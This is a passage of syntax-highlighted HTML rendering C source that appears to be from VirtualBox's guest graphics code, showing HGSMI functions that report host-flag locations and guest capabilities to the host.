class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-v\">offLocation<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-190\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-191\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HGSMIBUFFERLOCATION *<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-192\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-193\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-194\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Allocate the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-195\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">HGSMIBUFFERLOCATION *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-196\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">HGSMIBUFFERLOCATION<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-197\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">HGSMI_CH_HGSMI<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-198\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">HGSMI_CC_HOST_FLAGS_LOCATION<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-199\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-200\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-201\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Prepare data to be sent to the host. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-202\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offLocation<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offLocation<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-203\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cbLocation<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">HGSMIHOSTFLAGS<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-204\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-205\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Free the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-206\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-207\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-208\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-209\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_NO_MEMORY<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-210\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-211\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-212\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-213\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-214\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-215\"><span class=\"crayon-c\"> * Inform the host of the location of the host flags in VRAM via an HGSMI<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-216\"><span class=\"crayon-c\"> * command.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-217\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;IPRT status value.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-218\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;VERR_NOT_IMPLEMENTED&nbsp;&nbsp;if the host does not support the command.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-219\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;VERR_NO_MEMORY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if a heap allocation fails.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-220\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the context of the guest heap to use.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-221\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;&nbsp;&nbsp;offLocation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the offset chosen for the flags withing guest<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-222\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VRAM.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-223\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-224\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIReportFlagsLocation<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-225\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">HGSMIOFFSET <\/span><span class=\"crayon-v\">offLocation<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-226\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-227\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxHGSMIReportFlagsLocation<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offLocation<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-228\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-229\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-230\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-231\"><span class=\"crayon-c\">\/** Notify the host of HGSMI-related guest capabilities via an HGSMI command.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-232\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-233\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxHGSMISendCapsInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-234\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">fCaps<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-235\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-236\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBVACAPS *<\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-237\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-238\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-239\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Allocate the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-240\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">VBVACAPS *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-241\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBVACAPS<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-242\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">VBVA_INFO_CAPS<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-243\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-244\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-245\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-246\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Prepare data to be sent to the host. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-247\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_NOT_IMPLEMENTED<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-248\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fCaps<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fCaps<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-249\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-250\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-251\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-252\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertRC<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-253\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-254\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-255\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Free the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-256\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pCaps<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-257\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-258\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-259\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_NO_MEMORY<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-260\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-261\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-262\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-263\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-264\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-265\"><span class=\"crayon-c\"> * Notify the host of HGSMI-related guest capabilities via an HGSMI command.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-266\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;IPRT status value.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-267\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;VERR_NOT_IMPLEMENTED&nbsp;&nbsp;if the host does not support the command.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-268\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;VERR_NO_MEMORY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if a heap allocation fails.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-269\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the context of the guest heap to use.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-270\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;&nbsp;&nbsp;fCaps&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the capabilities to report, see VBVACAPS.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-271\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-272\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMISendCapsInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span 